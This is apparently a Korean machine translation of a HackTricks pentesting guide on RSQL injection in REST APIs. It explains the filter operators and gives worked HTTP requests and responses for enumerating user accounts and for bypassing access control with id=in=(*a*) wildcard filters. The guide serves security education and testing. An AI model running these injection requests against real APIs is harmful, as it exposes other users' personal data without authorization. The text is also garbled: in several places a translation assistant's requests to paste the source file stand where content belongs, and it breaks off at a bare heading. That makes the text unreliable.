RSQL Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

What is RSQL?

RSQL์€ RESTful API์—์„œ ์ž…๋ ฅ์„ ํŒŒ๋ผ๋ฏธํ„ฐํ™”๋œ ํ•„ํ„ฐ๋ง์„ ์œ„ํ•ด ์„ค๊ณ„๋œ ์ฟผ๋ฆฌ ์–ธ์–ด์ž…๋‹ˆ๋‹ค. FIQL (Feed Item Query Language)์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, ์ด๋Š” ์›๋ž˜ Mark Nottingham์ด Atom ํ”ผ๋“œ๋ฅผ ์ฟผ๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ๊ทœ์ •ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. RSQL์€ ๋‹จ์ˆœ์„ฑ๊ณผ ๋ณต์žกํ•œ ์ฟผ๋ฆฌ๋ฅผ HTTP ์ƒ์—์„œ ์ปดํŒฉํŠธํ•˜๊ณ  URI ํ˜ธํ™˜ ๋ฐฉ์‹์œผ๋กœ ํ‘œํ˜„ํ•˜๋Š” ๋Šฅ๋ ฅ์œผ๋กœ ๋‹๋ณด์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ด์œ ๋กœ REST ์—”๋“œํฌ์ธํŠธ ๊ฒ€์ƒ‰์„ ์œ„ํ•œ ์ผ๋ฐ˜์ ์ธ ์ฟผ๋ฆฌ ์–ธ์–ด๋กœ ๋งค์šฐ ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.

Overview

RSQL Injection์€ RSQL์„ ์ฟผ๋ฆฌ ์–ธ์–ด๋กœ ์‚ฌ์šฉํ•˜๋Š” RESTful API ๊ธฐ๋ฐ˜ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. SQL Injection ๋ฐ LDAP Injection๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์ด ์ทจ์•ฝ์ ์€ RSQL ํ•„ํ„ฐ๊ฐ€ ์ ์ ˆํžˆ ์ •์ œ๋˜์ง€ ์•Š์„ ๋•Œ ๋ฐœ์ƒํ•˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ๊ถŒํ•œ ์—†์ด ์•…์˜์ ์ธ ์ฟผ๋ฆฌ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผ, ์ˆ˜์ • ๋˜๋Š” ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

How does it work?

RSQL์„ ์‚ฌ์šฉํ•˜๋ฉด RESTful API์—์„œ ๊ณ ๊ธ‰ ์ฟผ๋ฆฌ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

/products?filter=price>100;category==electronics

์ด๋Š” ๊ฐ€๊ฒฉ์ด 100๋ณด๋‹ค ํฐ ์ œํ’ˆ๊ณผ ์นดํ…Œ๊ณ ๋ฆฌ๊ฐ€ โ€œelectronicsโ€์ธ ์ œํ’ˆ์„ ํ•„ํ„ฐ๋งํ•˜๋Š” ๊ตฌ์กฐํ™”๋œ ์ฟผ๋ฆฌ๋กœ ๋ณ€ํ™˜๋ฉ๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ฒ€์ฆํ•˜์ง€ ์•Š์œผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํ•„ํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

/products?filter=id=in=(1,2,3);delete_all==true

๋˜๋Š” Boolean ์ฟผ๋ฆฌ๋‚˜ ์ค‘์ฒฉ ์„œ๋ธŒ์ฟผ๋ฆฌ๋ฅผ ์ด์šฉํ•ด ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์œ„ํ—˜

  • ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ ๋…ธ์ถœ: ๊ณต๊ฒฉ์ž๊ฐ€ ์ ‘๊ทผํ•ด์„œ๋Š” ์•ˆ ๋˜๋Š” ์ •๋ณด๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋ฐ์ดํ„ฐ ์ˆ˜์ • ๋˜๋Š” ์‚ญ์ œ: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ ˆ์ฝ”๋“œ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ํ•„ํ„ฐ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๊ถŒํ•œ ์ƒ์Šน: ํ•„ํ„ฐ๋ฅผ ํ†ตํ•ด ์—ญํ• ์„ ๋ถ€์—ฌํ•˜๋Š” ์‹๋ณ„์ž๋ฅผ ์กฐ์ž‘ํ•ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์†์ด๊ณ  ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ ‘๊ทผ ์ œ์–ด ์šฐํšŒ: ํ•„ํ„ฐ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์ œํ•œ๋œ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์‚ฌ์นญ ๋˜๋Š” IDOR: ํ•„ํ„ฐ๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž ๊ฐ„ ์‹๋ณ„์ž๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์ ์ ˆํ•œ ์ธ์ฆ ์—†์ด ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์ •๋ณด ๋ฐ ์ž์›์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ง€์›๋˜๋Š” RSQL ์—ฐ์‚ฐ์ž

์—ฐ์‚ฐ์ž์„ค๋ช…์˜ˆ์‹œ
; / and๋…ผ๋ฆฌ์  AND ์—ฐ์‚ฐ์ž. ํ–‰์„ ํ•„ํ„ฐ๋งํ•˜์—ฌ ๋‘ ์กฐ๊ฑด์ด ๋ชจ๋‘ ์ฐธ์ธ ๊ฒฝ์šฐ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / or๋…ผ๋ฆฌ์  OR ์—ฐ์‚ฐ์ž. ํ–‰์„ ํ•„ํ„ฐ๋งํ•˜์—ฌ ์ ์–ด๋„ ํ•˜๋‚˜์˜ ์กฐ๊ฑด์ด ์ฐธ์ธ ๊ฒฝ์šฐ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA==valueA,columnB==valueB
==equals ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue์™€ ์ •ํ™•ํžˆ ์ผ์น˜ํ•˜๋Š” myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA==queryValue
=q=search ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue๋ฅผ ํฌํ•จํ•˜๋Š” myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA=q=queryValue
=like=like ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue์™€ ์œ ์‚ฌํ•œ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA=like=queryValue
=in=in ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA๊ฐ€ valueA ๋˜๋Š” valueB๋ฅผ ํฌํ•จํ•˜๋Š” myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=exclude ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด valueA๋„ valueB๋„ ์•„๋‹Œ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=not equals ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue๊ฐ€ ์•„๋‹Œ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA!=queryValue
=notlike=not like ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue์™€ ์œ ์‚ฌํ•˜์ง€ ์•Š์€ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=lesser than ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue๋ณด๋‹ค ์ž‘์€ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=lesser than ๋˜๋Š” equal to ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=greater than ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue๋ณด๋‹ค ํฐ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=equal to ๋˜๋Š” greater than ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด queryValue์™€ ๊ฐ™๊ฑฐ๋‚˜ ํฐ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=from to ์ฟผ๋ฆฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. columnA์˜ ๊ฐ’์ด fromValue ์ด์ƒ์ด๊ณ  toValue ์ดํ•˜์ธ myTable์˜ ๋ชจ๋“  ํ–‰์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

์ฐธ๊ณ : ํ‘œ๋Š” MOLGENIS ๋ฐ rsql-parser ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ

  • name==โ€œKill Billโ€;year=gt=2003
  • name==โ€œKill Billโ€ and year>2003
  • genres=in=(sci-fi,action);(director==โ€˜Christopher Nolanโ€™,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==โ€˜Christopher Nolanโ€™ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

์ฐธ๊ณ : ํ‘œ๋Š” rsql-parser ์ •๋ณด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ํ•„ํ„ฐ

๋‹ค์Œ ํ•„ํ„ฐ๋“ค์€ API ์ฟผ๋ฆฌ๋ฅผ ์„ธ๋ถ„ํ™”ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค:

ํ•„ํ„ฐ์„ค๋ช…์˜ˆ์‹œ
filter[users]ํŠน์ • ์‚ฌ์šฉ์ž๋กœ ๊ฒฐ๊ณผ๋ฅผ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค/api/v2/myTable?filter[users]=123
filter[status]์ƒํƒœ(ํ™œ์„ฑ/๋น„ํ™œ์„ฑ, ์™„๋ฃŒ ๋“ฑ)๋กœ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค/api/v2/orders?filter[status]=active
filter[date]๋‚ ์งœ ๋ฒ”์œ„ ๋‚ด์˜ ๊ฒฐ๊ณผ๋ฅผ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]์นดํ…Œ๊ณ ๋ฆฌ ๋˜๋Š” ๋ฆฌ์†Œ์Šค ์œ ํ˜•์œผ๋กœ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค/api/v2/products?filter[category]=electronics
filter[id]๊ณ ์œ  ์‹๋ณ„์ž๋กœ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค/api/v2/posts?filter[id]=42

์ผ๋ฐ˜์ ์ธ ํŒŒ๋ผ๋ฏธํ„ฐ

๋‹ค์Œ ํŒŒ๋ผ๋ฏธํ„ฐ๋“ค์€ API ์‘๋‹ต์„ ์ตœ์ ํ™”ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค:

ํŒŒ๋ผ๋ฏธํ„ฐ์„ค๋ช…์˜ˆ์‹œ
include์‘๋‹ต์— ๊ด€๋ จ ๋ฆฌ์†Œ์Šค๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค/api/v2/orders?include=customer,items
sort๊ฒฐ๊ณผ๋ฅผ ์˜ค๋ฆ„์ฐจ์ˆœ ๋˜๋Š” ๋‚ด๋ฆผ์ฐจ์ˆœ์œผ๋กœ ์ •๋ ฌํ•ฉ๋‹ˆ๋‹ค/api/v2/users?sort=-created_at
page[size]ํŽ˜์ด์ง€๋‹น ๊ฒฐ๊ณผ ์ˆ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค/api/v2/products?page[size]=10
page[number]ํŽ˜์ด์ง€ ๋ฒˆํ˜ธ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค/api/v2/products?page[number]=2
fields[resource]์‘๋‹ต์— ๋ฐ˜ํ™˜ํ•  ํ•„๋“œ๋ฅผ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค/api/v2/users?fields[users]=id,name,email
search๋ณด๋‹ค ์œ ์—ฐํ•œ ๊ฒ€์ƒ‰์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค/api/v2/posts?search=technology

์ •๋ณด ์œ ์ถœ ๋ฐ ์‚ฌ์šฉ์ž ์—ด๊ฑฐ

๋‹ค์Œ ์š”์ฒญ์€ ์ด๋ฉ”์ผ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์š”๊ตฌํ•˜์—ฌ ํ•ด๋‹น ์ด๋ฉ”์ผ๋กœ ๋“ฑ๋ก๋œ ์‚ฌ์šฉ์ž๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์กด์žฌํ•˜๋Š”์ง€ ์—ฌ๋ถ€์— ๋”ฐ๋ผ true ๋˜๋Š” false๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋“ฑ๋ก ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

์š”์ฒญ

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

ํŒŒ์ผ ๋‚ด์šฉ์ด ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค. src/pentesting-web/rsql-injection.md์˜ ํ…์ŠคํŠธ(๋งˆํฌ๋‹ค์šด ํฌํ•จ)๋ฅผ ๋ถ™์—ฌ ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด ๋™์ผํ•œ ๋งˆํฌ๋‹ค์šด/HTML ๊ตฌ์กฐ๋Š” ์œ ์ง€ํ•œ ์ฑ„ ์˜์–ด์—์„œ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

์ผ๋ฐ˜์ ์œผ๋กœ /api/registrations?email=<emailAccount>๊ฐ€ ์˜ˆ์ƒ๋˜์ง€๋งŒ, RSQL ํ•„ํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ˆ˜ ์—ฐ์‚ฐ์ž๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ์—ด๊ฑฐํ•˜๊ฑฐ๋‚˜/๋˜๋Š” ์ถ”์ถœํ•˜๋ ค ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์š”์ฒญ

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

ํŒŒ์ผ src/pentesting-web/rsql-injection.md์˜ ๋‚ด์šฉ์„ ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๋ถ™์—ฌ๋„ฃ์œผ๋ฉด ์ฝ”๋“œ, ํƒœ๊ทธ, ๋งํฌ, ํŒจ์Šค ๋“ฑ์€ ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ์˜์–ด ๋ณธ๋ฌธ์„ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

์œ ํšจํ•œ ์ด๋ฉ”์ผ ๊ณ„์ •๊ณผ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์„œ๋ฒ„์— ๋Œ€ํ•œ ์‘๋‹ต์œผ๋กœ ์ผ๋ฐ˜์ ์ธ โ€œtrueโ€, โ€œ1โ€ ๋“ฑ์˜ ๊ฐ’ ๋Œ€์‹  ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ๊ธฐ๋ณธ ์—ญํ• ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋“ฑ๋ก๋œ ๋ชจ๋“  ์‚ฌ์šฉ์ž ๋ชฉ๋ก์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ(์˜ˆ: administrator)์„ ๊ฐ€์ง€๊ณ  ์žˆ์ง€ ์•Š์Šต๋‹ˆ๋‹ค:

์š”์ฒญ

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

ํ•ด๋‹น ํŒŒ์ผ(src/pentesting-web/rsql-injection.md)์˜ ๋‚ด์šฉ์„ ์—ฌ๊ธฐ์— ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๊ทธ๋Ÿฌ๋ฉด Markdown ๋ฐ HTML ๊ตฌ๋ฌธ์„ ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ์˜์–ด ๋ณธ๋ฌธ์„ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค. (์ฝ”๋“œยท๊ธฐ๋ฒ•๋ช…ยทํ”Œ๋žซํผ๋ช…ยทํƒœ๊ทธยท๋งํฌยท๊ฒฝ๋กœ ๋“ฑ์€ ๋ฒˆ์—ญํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.)

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

๋‹ค์‹œ ์šฐ๋ฆฌ๋Š” filters์™€ special operators๋ฅผ ์ด์šฉํ•ด users์˜ ์ •๋ณด๋ฅผ ์–ป๊ณ  access control์„ ์šฐํšŒํ•˜๋Š” ๋Œ€์ฒด ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, user ID์— ๋ฌธ์ž โ€œaโ€๊ฐ€ ํฌํ•จ๋œ users๋กœ ํ•„ํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

์›๋ณธ ํŒŒ์ผ(src/pentesting-web/rsql-injection.md)์˜ ๋‚ด์šฉ์„ ๋ถ™์—ฌ ๋ณด๋‚ด์ฃผ์„ธ์š”. ํ•ด๋‹น ๋‚ด์šฉ์„ ๋ฐ›์•„์•ผ Markdown/HTML ํƒœ๊ทธ๋Š” ๊ทธ๋Œ€๋กœ ์œ ์ง€ํ•˜๋ฉด์„œ ์˜์–ด๋ฅผ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

